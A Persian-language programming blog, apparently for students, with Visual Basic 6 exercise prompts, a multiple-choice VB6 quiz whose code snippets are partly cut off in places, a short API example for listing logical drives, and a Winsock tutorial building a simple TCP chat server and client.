88. برنامه ای بنویسید که اعداد 1 تا 100 را نمایش و مجموع آنها را نمایش دهد .
89.برنامه ای بنویسید (برای رستوران) که امکان انتخاب غذا از لیست و حذف و .... را داشته باشد .
90.برنامه ای بنویسید که ده عدد گرفته و max آنها را محاسبه کند .
91.برنامه ای بنویسید که با اجرای برنامه یک فرم با برچسب Welcome ظاهر شده و با زدن دکمه ی Next فرم دوم ظاهر و اولی مخفی شود و بالعکس.
92.تابعی تعریف کنید که فاکتوریل یک عدد طبیعی که از ورودی دریافت می شود را محاسبه کند.
93 . برنامه ای بنویسید که با درگ کردن هر عکس روی عکس خالی پایین صفحه ، آن را در عکس خالی نشان دهد .
94. تابعی بنویسید که ماکزیموم 3 عدد را حساب کند .
95. زیر برنامه ای بنویسید که سه عدد بگیرد و مجموع آنها را محاسبه کند .
96. برنامه ای بنویسید که با کلیک روی برچسب های مختلف زمان ، تاریخ ، ماه جاری ، سال جاری و .......... را نشان دهد .
97. برنامه ای بنویسید که نام ، نام خانوادگی و نمره ی یک دانش اموز را دریافت کرده و داخل یک فایل ثبت کند و با زدن دکمه show اطلاعات وارد شده را روی فرم نمایش دهد .
98. برنامه ی paint را شبیه سازی کنید .
99 . برنامه ای بنویسید که مضربهای 5 کمتر از 50 را با فاصله ی یک ثانیه نمایش داده و با زدن stop متوقف شود .
100. برنامه ای بنویسید که رمز ورود را دریافت کرده و اگر 1364 باشد پیغام "صحیح است " نمایش داده شود و دکمه ی "تکرار" فعال شود .
101. برنامه ای بنویسید که با تغییر نوار پیمایش اندازه ی فرم تغییر کند .
102. برنامه ای بنویسید که به وسیله ی کادر انتخاب و دکمه رادیویی امکان تغییر رنگ و سبک را به ما بدهد .
103. برنامه ای بنویسید که با زدن کد شکل مورد نظر آن شکل را نمایش دهد و اگر کد وارد شده مناسب نباشد ، آن را پاک کند .
104. برنامه ای بنویسید که از راست 4 حرف جدا کند .
105. به وسیله دایره علامت المپیک را طراحی کنید .
106. برنامه ای بنویسید که با وارد کردن هر عنصر در کادر متن در کومبو اضافه شود .
107 . برنامه ای بنویسید که عددی تصادفی بین 50 تا 150 را چاپ کند .
108. برنامه ای بنویسید که برچسب چشمک زن با رنگهای مختلف طراحی کند .
109. برنامه ای بنویسید که لیست فایلهای اجرایی مورد نظر را بعد از انتخاب درایو و پوشه ی مورد نظر در کنترل لیست باکس به ما داده و امکان جستجوی فایل اجرایی مورد نظر را بما بدهد .
110. برنامه ای بنویسید که به وسیله ی دکمه ی رادیویی اعمال چهار گانه اصلی را محاسبه کند .
111.اعداد زوج دو رقمی با فاصله ی یک ثانیه چاپ کند .
112. برنامه ای بنویسید که به وسیله ی کومبو تراز بندی متن را مشخص کند .
113. برنامه ای بنویسید که زمان را به شکل متحرک روی فرم نشان داده و دکمه Play و stop داشته باشد .
114. برنامه ای بنویسید که شکل مورد نظر را از کومبو ، کادر متن یا دکمه رادیویی انتخاب کند .
115. برنامه ای بنویسید که یک متن دریافت کرده و تعداد حروف a و تعداد حروف b آن را جداگانه نمایش دهد .
116. برنامه ای بنویسید که نام رمز عبور را دریافت کرده(مثلاً 1234) و اگر کاربر درست وارد کرد دکمه ورود فعال شود و به کاربر فرصت داده شود تا 3 بار رمز را وارد کند و اگر بیش از سه بار شد پیغام " کارت شما به دلایل امنیتی ضبط گردید " ظاهر گردد .
117. برنامه ای بنویسید که به وسیله کومبو ترازبندی متن را از چپ ، راست و وسط مشخص کند .
118. برنامه ای بنویسید که دو اسم دریافت کرده و به هم چسبانده و نمایش دهد .
119. برنامه ای بنویسید که با اجرای برنامه (بدون زدن دکمه) روز جاری، ماه جاری ، نام روز جاری ، سال جاری و... را روی فرم چاپ کند .
120.
121. برنامه ای بنویسید که یک اسم دریافت کرده و بین هر حرف با حرف بعدی یک فاصله ایجاد کند .
122. زیر برنامه ای تعریف کنید که دو عدد را دریافت کرده و اعداد بین آن دو را چاپ کند .
123. زیر برنامه ای تعریف کنید که دو عدد را دریافت کرده و اعداد بین آن دو را جمع کند .

نوشته شده توسط سعید دامغانیان  | لینک ثابت |

نمونه سوالات ویژوال بیسیک6 سه شنبه سی و یکم مرداد 1391 21:35
کدام گزینه از اهداف طراحی زبان بیسیک بوده است؟
الف- برنامه نویسی سیستمی          ب- برنامه نویسی آموزشی ج- برنامه نویسی تجاری               د- برنامه نویسی علمی 2- کدام گزینه زیر یکی از انواع زبان های سطح پایین است؟ الف- فرترن              ب- اسمبلی                 ج- + + c                 د- پاسکال 3-کدام ویژگی در ویژوال بیسیک برنامه نویسی رویدادگر را میسر می کند؟ الف- API                                       ب- EVENT HANDLING  ج- ERROR HANDLING                    د- OOP 4- در کدام روش ترجمه می توان برنامه مقصد( object ) تولید کرد؟ الف- مفسر            ب- کامپایلر              ج- ساخت یافته             د- غیر ساخت یافته 5- کدام یک از زبان های برنامه نویسی برای برنامه نویسی علمی و تجاری مناسب است؟ الف- پاسکال            ب- فرترن                ج- زبان ماشین        د- اسمبلی 6- ویژگی ( rapid application development ) RAD عبارت است از: الف- کشف وتصحیح آسان و سریع اشتباهات ب- طراحی سریع و آسان برنامه ج- طراحی هم زمان چند برنامه د- برنامه نویسی به روش OOP  7- کدام روش برنامه نویسی از توانایی بالاتری برخوردار است؟ الف- ساخت یافته                        ب- شئ گرا ج- غیر ساخت یافته                    د- گزینه های ب و ج صحیح هستند. 8- در کدام نگارش ویژوال بیسیک امکانات ویژه ای جهت برنامه نویسی برای محیط شبکه های محلی و اینترنت وجود دارد؟ الف- LEARNING EDITION ب- PROFESSIONAL EDITION ج- ENTERPRISE EDITION د- گزینه های الف و ب صحیح هستند. 9- کدام یک از گزینه های زیر برای برنامه نویسی سیستمی مناسب هستند؟ الف- فرترن              ب- ماشین                  ج- c و+ +  c                    د- بیسیک 10- کدام ویژگی امکان استفاده از برنامه نویسی شئ گرا را درویژوال بیسیک فراهم می کند؟ الف- API                     ب- IDE                  ج- OOP                            د- ERROR HANDLING 11- برای بازکردن پروژه هایی که اخیراً مورد استفاده قرار گرفته، انتخاب کدام زبانه در کادر محاوره ای new project  مناسب است؟ الف- new                      ب-                 recentج- existing                   د- open 12- کدام نام برای خاصیت name یک فرم مناسب است؟ الف- control                     ب- frm main         ج- l frm                            د- project 13- پسوند فایل های پروژه و فرم به ترتیب عبارتند از (راست به چپ): الف- .vbp ،       .frm             ب-  frm. ،  .vbp      ج- .vbp، .vbf                       د- vbf.  ،.frm 14- کدام کنترل برای دریافت داده ها از کاربر مناسب است؟ الف- برچسب                             ب- کادر متن               ج- کادر علامت                          د- فرم 15- کدام رویدادها در فرم ها برای اجرای دستورالعمل ها در هنگام شروع یک برنامه مناسب است؟ الف- unload                                ب- click                    ج- dblclick                                  د- load 16- با استفاده از کدام خاصیت عنوان یک فرم تعیین می شود؟ الف- caption                       ب-                      visibleج- name                             د- enabled 17- کدام پنجره برای تعیین موقعیت یک فرم درروی desktop مناسب است؟ الف- پنجره پروژه                       ب- پنجره تعیین موقعت ج- جعبه ابزار                            د- پنجره طراحی فرم 18- کدام خاصیت درکنترل برچسب ، تراز متن را در کنترل تعیین می کند؟ الف- align                               ب- autosize                ج- alignment                          د- height 19-  واحد اندازه گیری طول به طور پیش فرض در ویژوال بیسیک چیست؟ الف- cm                        ب- mm                     ج- m                     د- twip 20- از کدام بخش در پنجره ویژوال بیسیک برای ایجاد کنترل ها روی فرم استفاده می شود؟ الف- نوار ابزار                           ب- جعبه ابزار          ج- نوار منو                                پنجره خواص 21- کدام نوع از انواع داده برای تعریف یک متغیر از نوع پولی مناسب تر است؟ الف- single                      ب- double            ج- currency                    د- Boolean 22- کدام عملگرریاضی نسبت به سایرین از اولویت پایین تری برخوردار است؟ الف- جمع*            ب- mod              ج- توان                 د- ضرب 23- کدام گزینه برای تعریف یک متغیر از نوع اعداد صحیح بلند درست است؟ الف- %                     ب- &              ج- !                    د- # 24- کدام عملگر رشته ای مشابه عملگر جمع در رشته هاست؟ الف- %                   ب- &              ج- like                   د- # 25- اگر متغیری در بخش تعارف ماژول فرم معرفی گردد متغیر...........نامیده می شود؟ الف- عمومی         ب- محلی             ج- موضعی              د- ایستا 26- کدام نوع داده برای تعریف اعداد مثبت کوچکتر از 255 مناسب است؟ الف- string              ب- integer              ج- byte         د- long 27- متغیرهای محلی یا private درچه محدوده ای قابل شناسایی هستند؟ الف- تمام رویدادها                 ب- ماژول فرم مربوطه ج- ماژول کلاس                     د-  رویدادی که در آن تعریف شده اند. 28- حاصل عبارت "# # # #*u ؟m ؟c " like  "computer2004  "   چیست؟ الف- true                                         ب- false ج- عبارت اشتباه است.                     د- درهنگام اجرا پیام خطا نمایش داده می شود. 29- کدام خاصیت در کادر متن تعداد کاراکترهای ورودی را تعیین می کند؟ الف- borderstyle                        ب- passwordchar               ج- maxlength                             د- tablndex 30- کدام عملگر منطقی از اولویت پایین تری نسبت به سایر عملگرهای منطقی برخورداراست؟ الف- and                 ب- or                       ج- not              د- or,and 31- کدام تابع برای ایجاد یک کادر ورود داده مناسب است؟ الف- msgbox                    ب- inputbox             ج- inbox                          د- msg 32- درصورتی که نوع و تعداد دکمه ها در کادر پیام تعیین نشود، به طور پیش فرض چه دکمه هایی استفاده می گردد؟ الف- ok                   ب- cancel,ok                      ج- no,yes               د- cancel 33- کدام گزینه در رابطه با خاصیت tablndex درست است؟ الف- ترتیب نمایش کنترل ها رادر روی فرم تعیین می کند. ب- ترتیب حرکت بین کنترل ها را در روی یک فرم معین می کند. ج- ترتیب بار گذاری کنترل ها را در حافظه تعیین می کند. د- وضعیت کلید tab را در صفحه کلید بررسی می کند. 34- حاصل عبارت -12 3 چیست؟ الف- true                     ب- false                   ج- 2                د- 2- 35-کدام خاصیت مشترک بین فرم و کنترل ها وجود داردکه توانایی مخفی کردن یا نمایش آنها را دارد؟ الف- caption                 ب- enabled              ج- visible              د- appearance 36- حاصل ترکیب شرطی زیر چیست؟ (با توجه به عدم استفاده از دستورoption compare text )      "cpu" ="cpu" or 50  الف- true                                          ب- false ج- استفاده از عملگر and,not  در کنار هم اشتباه است.                      د- استفاده از عملگر مقادیرمنطقی ، عددی و رشته ای در یک ترکیب اشتباه است. 37- در صورت عدم انتخاب عنوان یک کادر پیام به طور پیش فرض از..........استفاده می شود. الف- نام فرم                             ب- نام پروژه            ج- نام فایل فرم                          د- نام فایل پروژه  38-با استفاده از کدام خاصیت در کادر متن می توان از ویرایش داده ها توسط کاربر جلوگیری کرد؟ الف- wordwrap                   ب- lock ج- locked                            د- multiline 39- کدام حلقه شبیه به حلقه Do While…loop است؟ الف- for…next                   ب- wile…wend ج- select case                    د- while…loop - پس از اجرای برنامه زیر مقدار متغیر sum ۴۰-چقدر است؟   الف- 27         ب- 28         ج- 29        د- 30             sum=0 I=5 Do while (i>3) For k = 1 to 2 Sum = sum+k*I Next k I=i-1 Loop      41-حلقه زیر چند بار تکرار می گردد؟   For I=7  to -2 step -3                                                                                                                                                          0                                                                                                                                                                       .                                                                                              . Next I                                                                                    الف- 2        ب-3        ج- 4        د- 5   42- حلقه زیر چند بار تکرار می شود؟   While (true)                                                                                                                                                                     0                                                                                            0                                                                                            0 Wend                                                                                      الف- 30بار                  ب- 40بار                       ج- بی نهایت              د- تکرار نمی شود.           44- خروجی برنامه پس از اجرای حلقه چیست؟   For i=10 to 1 step 2                                                             Print "I" , I                                                                           Next I                                                                                  الف- اعداد زوج بین 1و10                 ب- اعداد فرد بین 1و10 ج- اعداد10تا1                                 د- هیچ گونه خروجی ندارد. 45-در دستوری که مقدار متغیر infax برابر 2 باشد، خروجی دستورات زیر چیست؟    Select case intx                                                                           Case is>10 : print intex*10                                            Case is                                             Case is = 7 : print intex*2                                              End select                                                                                   الف- 10                             ب- 8                            ج- 4                              د- 2 46- دستور exit do سبب خروج از کدام حلقه می شود؟ الف- for…next                        ب- while…wend ج- do while…loop                  د- گزینه های ب و ج صحیح است.    48- کدام گزینه در رابطه با دستورات زیر صحیح است؟ For i=4 to 15                                                                   If I mod 3=0 then sum =sum +i\3                               Next I                                                                            Print sum                                                                      الف- مجموع اعدا 1 تا 15 ب- مجموع مضارب عدد 3 از 1 تا15 ج- مجموع خارج قسمت تقسیم اعداد 4 تا 15 بر 3 که بر عدد 3 بخش پذیرند. د- مجموع باقی مانده تقسیم اعداد 4 تا15 بر 3 که بر عدد 3 بخش پذیرند. 49- کدام رویداد هنگامی که یک فرم، فوکس خود را از دست می دهد، اجرا می شود؟ الف- activate                          ب- deactivate چ-  load                                  ج- unload 50- کدام گزینه در رابطه با تفاوت رویه های فرعی و رویه های تابعی درست است؟ الف- ارسال متغیرها به رویه                       ب- بازگشت یک مقداربه محل فراخوانی ج- تعریف آرگومان ها                              د- محل تعریف رویه 51- نوع مقدار بازگشتی در رویه تابعی زیر چیست؟    Private function compute (into as integer)as Boolean                                                                                            الف- منطقی                 ب- عدد صحیح                  ج- رشته           د- عدد اعشاری 52-برای تعریف یک رویه عمومی از کلمه کلیدی .........استفاده می شود. الف- private                              ب- public       ج- dim                                     د- sub 53-استفاده از کدام گزینه برای تعریف یک رویه فرعی مناسب است؟ الف- sub…end sub                  ب- function…end function           ج- private                  د- public 54- پسوند فایل های ماژول کد در ویژوال بیسیک چیست؟ الف- vbc                    ب- bas                  ج- clm                    د- fbc 55- در صورتی که در یک رویه تابعی، نوع داده بازگشتی تعیین نشود از چه نوعی به طور پیش فرض استفاده می شود؟ الف- Boolean               ب- integer         ج- byte                        د- string 56- به طور پیش فرض نحوه ارسال متغیرها به یک رویه از چه نوعی است؟ الف- ارسال با مقدار                   ب- ارسال با مرجع       ج- محلی                                  د- استاتیک  57- در صورت تعریف یک رویه به کلمه کلیدی private در ماژول کد ............... الف- رویه مربوطه در تمام ماژول های کد قابل فراخوانی است. ب- رویه مربوطه در تمام ماژول ها قابل فراخوانی است. ج- رویه مربوط در تمام ماژول های فرم قابل فراخوانی است. د- رویه مربوط فقط در تمام ماژول کدی که تعریف شده است قابل فراخوانی است. 58- خروجی دستورprint weekdayname (2 , , vbfriday) چیست؟ الف- mon                 ب- Monday              ج- sat                    د- saurday 59- در صورتی که فراخوانی month name (3, true) انجام شود، مقدار بازگشتی چیست؟ الف- mar                  ب- march                 ج- oc                        د- October 60- به وسیله کدام تابع می توان تعدادی از کاراکترهای یک رشته را جدا کرد؟ الف- instr                  ب- mid                  ج- Len                 د- Asc 61- حاصل اجرای دستور ("computer" ,3) left  چیست؟ الف- "com"                   ب- "ter"                     ج- "puter"                   د- "" 62- کدام تابع امکان جستوجوی یک رشته را دررشته دیگر فراهم می کند؟ الف- len                     ب- instr                  ج- replace                د- space 63- کدام گزینه در رابطه با خروجی دستورsecond ("10:12:36") درست است؟ الف- 10                   ب- 12                 ج- 36                 د- 48 64- واحد اندازه گیری زمان در تابع timer چیست؟ الف- ثانیه                 ب- دقیقه               ج- ساعت             د- روز 65- حاصل عبارت mid ("computer",5,5)چیست؟ الف- omput       ب- uter             ج- puter        د- computer 66- بوسیله کدام تابع می توان ساعت و تاریخ جاری سیستم را به دست آورد؟ الف- date                         ب- time                ج- now                         د- گزینه های الف و ج صحیح است. 67- حاصل عبارت replace("book","o","t",,3) چیست؟ الف- "botk"               ب- "bttt"                 ج- "bttk"                 د- "btok" 68-کدام رویداد در صفحه کلید بین کاراکترهای حرفی کوچک و بزرگ تفاوت قایل می شود؟ الف- keydown                   ب- key press            ج- keyup                           د- keypreview 69- کدام خاصیت در کنترل shape، نوع شکل را معین می کند؟ الف- borderstyle                  ب- style               ج- shape                            د- appearance 70- برای استفاده از رویداد dragdrop تنظیم کدام خاصیت در کنترل الزامی است؟ الف- dragicon                       ب- dragmode         ج- drag drop                         د- drop mode 71- کدام گزینه درمتد line سبب رسم یک مستطیل می شود؟ الف- B                        ب- F                       ج- bf                      د- rectangle 72- کدام گزینه در رابطه با رسم یک نقطه در فرم مناسب است؟ الف- point                 ب- pset                    ج- point set              د- step 73- کدام آرگومان در رویداد drag & drop، کنترل جا به جا شدن را مشخص می کند؟ الف- control                      ب- source                 ج- shift                             د- ctrl 74- واحد اندازه گیری پیش فرض در کنترل shape چیست؟ الف- سانتی متر                          ب- اینچ               ج- twip                         د- pixel 75- در صورتی که خاصیت key preview روی مقدار true تنظیم شود...........0  الف- رویداد های صفحه کلید فرم زودتر از کنترل ها اجرا می شوند. ب- رویدادهای صفحه کلید کنترل زودتر از فرم اجرا می شوند. ج- فقط رویدادهای صفحه کلید کنترل ها اجرا می شود. د- فقط رویدادهای صفحه کلید فرم اجرا شود.  76- کدام دستور برای ایجاد منوهای موضوعی به وسیله کلیک راست مناسب هستند؟ الف-   mouse up                    ب- popup menu         ج- mouse move                    د- menu editor 77-کدام رویداد در کنترل های نوار پیمایش در زمان کلیک روی مکان خالی از نوار پیمایش اجرا می شود؟ الف- change                     ب- scroll                        ج- click                            د- move 78- درکنترل های نوار پیمایش کدام خاصیت میزان تغیرات خاصیت value را در زمان کلیک روی دکمه های مثلثی کنترل تعیین می کند؟ الف- large change                   ب- small change          ج- scroll                                 د- change 79- استفاده از کدام یک از اجرای زیر در یک فرم MDI مجاز است؟ الف- کنترل شکل                       ب- کنترل دکمه انتخاب       ج- کنترل زمان سنج                    د- کنترل تصویر 80- برای ایجاد ارتباط بین یک فرم SDI بافرم MDI خاصیت MDIchild  روی چه مقداری تنظیممی شود؟ الف- true                           ب- false                  ج- manual                       د- automatic 81- کدام رویداد در کنترل های نوار پیمایش درزمان کلیک روی دکمه های مثلثی شکل اجرا  می شود؟ الف- scroll                    ب- large change            ج- small change          د- change    82- برای نمایش یک منوی موضوعی از کدام دستوراستفاده می شود؟ الف- menu                           ب- menu popup             ج-                              popupد- popup menu   83- کدام رویداد درکنترل های نوار پیمایش در هنگام درگ کردن دکمه مستطیل شکل اجرا می گردد؟ الف- large change                     ب- small change                   ج- scroll                     د- min scroll 84- مقدار K پس از خاتمه حلقه زیر چقدر است؟   K=1                                                                                     Do while (k                                                                   K=k+1                                                                          Loop                                                                                      الف- 4                 ب- 3                 ج- 2            د- 1 85- کدام نوع داده برای ذخیره سازی سن یک فرد مناسب تر است ؟ الف- integer                     ب- long                  ج- word                          د- byte    86- خروجی دستورrigth ("ali reza",3) چیست؟ الف- "ali"                      ب- "eza"                      ج- "ireza"                  د- "ali re" 87- کدام نوع داده می تواند هر نوع داده ای را نگهداری کند؟ الف- variant                              ب- single                   ج- Boolean                 د- long 88- کدام خاصیت کنترل کادر متن، تراز متن را در کنترل تعیین می کند؟ الف- aligment                          ب- maxlength              ج- borderstyle                د- appearance 89- خروجی دستورweekdey name (weekday  (now)))چیست؟ الف- شماره روز جاری          ب- شماره هفته جاری     ج- نام روز جاری            د- نام ماه جاری 90- کدام خاصیت، اولویت انجام رویدادهای صفحه کلید را بین فرم و کنترل های موجود در آن تعیین می کند؟ الف- خاصیت key در فرم                          ب- خاصیت key preview در فرم   ج- خاصیت key در کنترل ها                     د- خاصیت  key previewدر کنترل ها 91- خروجی دستور replace ("this is a book.", "i" , "I" ,,, vbBinaryComputer) چیست؟ الف- "ThIs Is a book."               ب- "This Is a book."            ج- "s is a book."                      د- "s Is a book." 92- با فرض این که strname = "supercomputer" باشد، حاصل عبارت strname = left (right (strname , 5),3) چیست؟ الف- "pu"                 ب- "sup"         ج- "per"           د- "put" 93- کدام خاصیت در کنترل کادر لیست ، شماره عضو انتخاب شده در آن را تعیین می کند؟ الف- listindex                      ب- listCount            ج- index                            د- item 94- حاصل عبارت 18/3*2+3 چیست؟ الف- 3             ب- 4                      ج- 5                د- 6   95- حاصل عبارت   inster(5,"hardware and software" , "ware" ,0) چیست؟ الف- 5                   ب- صفر               ج- 18                د- 1 96- در صورتی که یک متغیر در بخش تعارف ماژول فرم معرفی گردد..........0 الف- در زمان اجرای برنامه پیام خطا نمایش داده می شود. ب- متغیر در تمام رویه های ماژول فرم قابل استفاده است.   ج- متغیر در رویه های تمام ماژول فرم قابل استفاده است. د- متغیر در ماژول های تمام پروژه ها فابل استفاده است. 97- حاصل عبارت month name (month(date) , true) چیست؟ الف- تاریخ جاری سیستم                  ب- نام ماه جاری به صورت کامل ج- نام ماه جاری به صورت خلاصه        د- شماره ماه جاری 98- در صورت تعریف یک رویه با کلمه کلیدی public............0 الف- رویه مورد نظردرتمام ماژول های فرم وماژول های کدقابل استفاده است.   ب- رویه مورد نظردرتمام ماژول هلی فرم قابل استفاده است. ج- امکان فراخوانی آن به وسیله رویه های رویداد وجود ندارد. د- امکان فراخوانی آن بوسیله رویه های آماده ویژدال بیسیک وجود ندارد. 99- حاصل عبارت Asc(chr(65) چیست؟ الف- "A"                                 ب-65            ج- یک رشته خالی                         د- پیام خطا نمایش داده می شود. 100- یک رویه فرعی با کدام یک از عبرت های زیر شروع می شود؟ الف- function              ب- call                    ج- sub             د- end sub   101- عنوان یک فرم به وسیله کدام خاصیت تعیین می شود؟ الف- enabled                     ب- text               ج- name                           د- caption   102- کدام کاراکتر جهت تعریف یک متغیرازنوع رشته ای به کار می رود؟ الف- &                    ب- #                       ج- !                        د- $   103- حاصل عبارت not (true) or 5  "A">"B" چیست؟ الف- True                 ب- false                    ج- صفر                  د- 1
نوشته شده توسط سعید دامغانیان  | لینک ثابت |

بدست آوردن درایوهای منطقی سیستم سه شنبه سی و یکم مرداد 1391 21:30
احتمالا تا حالا براتون پیش اومده که برای یک کار خاص مثلا چک کردن وضعیت فایل AUTORUN.INF نیاز داشته باشید که تمامه درایو های سیستم رو چک کنید. خب چطوری میشه فهمید که چه درایو هایی وجود داره؟ اینجا یک تابع API معرفی میکنیم که کارش همینه (درایوهای منطقی رو برمیگردونه) کافیه به شکلی که در زیر میبینید ازش استفاده کنید. یک پروژه جدید باز کنید و کد های زیر رو تو قسمت جنرال فرمتون کپی کنید.
Private Declare Function GetLogicalDriveStrings Lib "kernel32" Alias 
"GetLogicalDriveStringsA" (ByVal nBufferLength As Long, ByVal lpBuffer As
 String) As Long
Private Sub Form_Load()
Me.AutoRedraw = True
Drives = GetMyLogicalDrives
For i = 0 To UBound(Drives)
Print Drives(i)
Next
End Sub
Public Function GetMyLogicalDrives()
Dim strBuffer As String
strBuffer = String(255, Chr$(0))
ret& = GetLogicalDriveStrings(255, strBuffer)
strBuffer = Replace(strBuffer, Chr(0), " ")
strBuffer = Trim(strBuffer)
strDrives = Split(strBuffer)
GetMyLogicalDrives = strDrives
End Function

تابع GetLogicalDriveStrings در واقع به خودیه خود نامه تمامی درایو ها رو میده اما مشکلش اینه که تمامه حروف رو تو یک رشته بر میگردونه و نام درایو ها رو با NULL جدا میکنه که اینجا برای رفع این مشکل از تابع Split استفاده کردیم و رشته جدا کننده رو NULL قرار دادیم با این کار یک آرایه درست میشه که تو هر خونه نام یک درایو قرار گرفته.

نوشته شده توسط سعید دامغانیان  | لینک ثابت |

ویژوال بیسیک > کنترل Winsock سه شنبه سی و یکم مرداد 1391 21:28

به نام خدا

 سلام !!!

 

مقدمه :
کنترل WinSock نسبت به تمام کنترلهاي اينترنت در سطح پايينتري قرار دارد . اين کنترل امکان ايجاد سرويسهاي شبکه اي مبتني بر پروتکلهاي TCP و UDP را مهيا مي کند . بعبارت ديگر توسط اين کنترل مي توان برنامه هاي کاربردي Client/Server ( سرويس گيرنده / سرويس دهنده ) ايجاد و با استفاده از پروتکل TCP و يا UDP بين آنها ارتباط برقرار نمود .
با تنظيم خصوصيات و فراخواني متدهاي اين کنترل مي توانيد به راحتي به يک کامپيوتر راه دور متصل شويد و داده ها را در هر دو جهت جابجا نمائيد . نمونه کاربرهايي که مي توان با اين کنترل ايجاد نمود :
Client-server chat ، Mail client ، Mail server ، Proxy Server ، Network Game ، Port Scanner ، پياده سازي الگوريتم هاي موازي و …
مباني TCP :
پروتکل کنترل اينترنت ( Transfer Control Protocol ) اجازه مي دهد يک اتصال ( Connection ) را از طريق سوکت ( socket ) به يک کامپيوتر راه دور ( Remote Computer ) ساخته و استفاده کنيد . با استفاده از اين اتصال ، هر دو کامپيوتر مي توانند داده ها را بين خودشان انتقال دهند . برقراري ارتباط از طريق TCP همانند صحبت کردن با تلفن است که بايد حتماً اتصالي بين دو کامپيوتر صورت گيرد تا بتوانند با هم ارتباط برقرار کنند .
اگر يک برنامه Client مي سازيد بايستي بدانيد که نام يا آدرس IP کامپيوتر Server چيست ( Remote Host IP ) و همچنين از طريق چه پورتي مي توانيد به آن متصل شويد ( Remote Port ) . حال بايستي به آن پورت Connect کنيد .
همچنين اگر يک برنامه Server مي سازيد بايستي پورتي را که روي آن به درخواستها گوش مي دهيد مشخص کنيد ( LocalPort ) و سپس به پورت گوش دهيد ( Listen ) .
زمانيکه يک کامپيوتر Client تقاضاي يک اتصال را مي دهد Server اين درخواست را Accept مي کند .
زمانيکه يک اتصال ساخته مي شود ، هر دو کامپيوتر مي توانند داده را فرستاده و دريافت کنند .
مباني UDP :
پروتکل ديتاگرام کاربر ( User Datagram Protocol ) پروتکلي بدون اتصال ( Connectionless ) است . برخلاف TCP ، کامپيوترها نياز به برپا کردن يک اتصال ندارند بنابراين يک برنامه مي تواند يک client و يا يک server باشد . برقراري ارتباط در UDP شبيه ارسال نامه از طريق پست است .
براي انتقال داده توسط UDP ابتدا بايد Local Port کامپيوتر Client تنظيم گردد . کامپيوتر Server تنها بايستي RemoteHost را برابر آدرس کامپيوتر Client قرار دهد و همچنين Remote Port را همان Local Port کامپيوتر Client قرار دهد . سپس دو کامپيوتر مي توانند داده ها را بين خود جابجا کنند .
استفاده از کنترل WinSock :
1 – انتخاب پروتکل: در زمان استفاده از کنترل WinSock اولين کاري که بايد انجام دهيد انتخاب يکي از پروتکلهاي TCP يا UDP است . طبيعت برنامه اي که شما مي سازيد نوع پروتکلي را که بايد استفاده کنيد مشخص مي کند . چند سوال زير به شما کمک مي کند که پروتکل مورد نيازتان را انتخاب کنيد :
- آيا برنامه شما در زمانيکه داده فرستاده مي شود يا دريافت مي شود نياز به اطلاعاتي از طرف Server يا Client دارد ؟ اگر چنين است بايستي يک اتصال TCP قبل از ارسال يا دريافت داده ايجاد شود .
- آيا داده بسيار بزرگ است ( مثل تصوير يا فايلهاي صوتي ) ؟ زمانيکه يک اتصال TCP ساخته مي شود پروتکل TCP اتصال را باقي نگه مي دارد و درستي ارسال داده تضمين شده است . اين اتصال در هر حال به منابع محاسباتي بيشتري نياز دارد و بنابراين پرهزينه تر است .
- آيا داده متناوب ارسال مي شود يا در يک نشست ( Session ) ارسال خواهد شد ؟ براي مثال اگر شما يک برنامه مي سازيد که کامپترهاي مشخصي را در يک زمان خاص از انجام شدن عملياتي مطلع مي کند پروتکل UDP مناسب تر است . پروتکل UDP همچنين براي ارسال مقادير کوچک داده اي مناست تر مي باشد .
2 – تنظيم پروتکل : براي تنظيم پروتکلي که مي خواهيد در برنامه تان از آن استفاده کنيد در زمان طراحي برنامه خاصيت Protocol کنترل WinSock را برابر sckTCPProtocol و يا sckUDPProtocol قرار دهيد . همچنين مي توانيد پروتکل خود را توسط کد زير تنظيم کنيد :

WinSock.Protocol=sckTCPProtocol

3 – مشخص کردن نام کامپيوتان : براي اتصال به کامپيوتر راه دور بايستي آدرس IP و يا نام کامپوتر را بدانيد .
نام کامپيوتر در Control Panel/Network/Identification موجود است . در صورتيکه مي خواهيد دو برنامه Client و Server خود را روي يک کامپيوتر تست کنيد از آدرس IP 127.0.0.1 براي هر دو استفاده کنيد اما اگر دو برنامه را روي دو کامپيوتر مجزا در شبکه قرار داده ايد با اجراي دستور ipconfig در DOS Prompt مي توانيد آدرس IP کامپيوتر ها را بدست آوريد .
4 – ايجاد اتصال TCP : در زمان ساخت برنامه اي که از پروتکل TCP استفاده مي کند ابتدا بايد تصميم بگيريد که اين برنامه Client است يا Server . براي ساخت يک برنامه Server بايستي روي يک پورت خاص Listen کنيد . زمانيکه Client تقاضاي يک اتصال را مي دهد ، برنامه Server مي تواند آنرا Accept کند و بنابراين اتصال کامل شده است . حال Client و Server مي توانند با هم ارتباط داشته باشند .
مراحل زير ساخت يک سرور چت ساده بر مبناي TCP را نشان مي دهد :
- از منوي Project گزينه Components را انتخاب کنيد و در ليست Component ها مورد Microsoft WinSock 6.0 را انتخاب کنيد .
- يک کنترل WinSock در فرم خود قرار دهيد و نام آنرا tcpserver بگذاريد
- دو textbox با نامهاي txtSendData و txtReceiveData و نيز يک دکمه در فرم قرار دهيد .
- کد زير را در رويداد Form_Load بنويسيد :

Tcpserver.LocalPort=1000
tcpserver.Listen


- زمانيکه درخواستي از طرف Client مي آيد رويداد ConnectionRequest اجرا مي شود . در اين رويداد ابتدا بايد چک کنيد که حالت کنترل بسته باشد . اگر چنين نيست اتصال را قبل از پذيرفتن اتصال جديد ببنديد . سپس تقاضا را بر اساس پارامتر requestID مي پذيريم :

Private Sub tcpserver_ConnectionRequest(ByVal requestID As Long)
If tcpserver.State <> sckClosed Then tcpserver.Close
tcpserver.Accept requestID
End Sub


- حال اتصال بين Client و Server برقرار شده است . کد زير را براي event مربوط به کليک دکمه Send بنويسيد :

Tcpserver.SendData txtSendData.text

- اگر داده اي از طرف Client بيايد رويداد DataArrival اجرا مي شود . کد زير را براي اين رويداد بنويسيد :

Private Sub tcpserver_DataArrival(ByVal bytesTotal As Long)
Dim strData As String
tcpserver.GetData strData
txtReceiveData.Text = strData
End Sub


- کد زير را براي رويداد Form_Unload بنويسيد :

Tcpserver.Close

مراحل ساخت يک TCP Client بصورت زير است :
- يک کنترل WinSock در فرم قرار دهيد و نام آنرا tcpclient بگذاريد .
- دو textbox با نامهاي txtsend و txtreceive و نيز يک دکمه با نام sendدر فرم قرار دهيد .
- يک دکمه با نام connect در فرم قرار دهيد .
- کد زير را براي متد Form_Load بنويسيد :

tcpclient.RemoteHost=”yourservername”x
tcpclient.RemotePort=1000


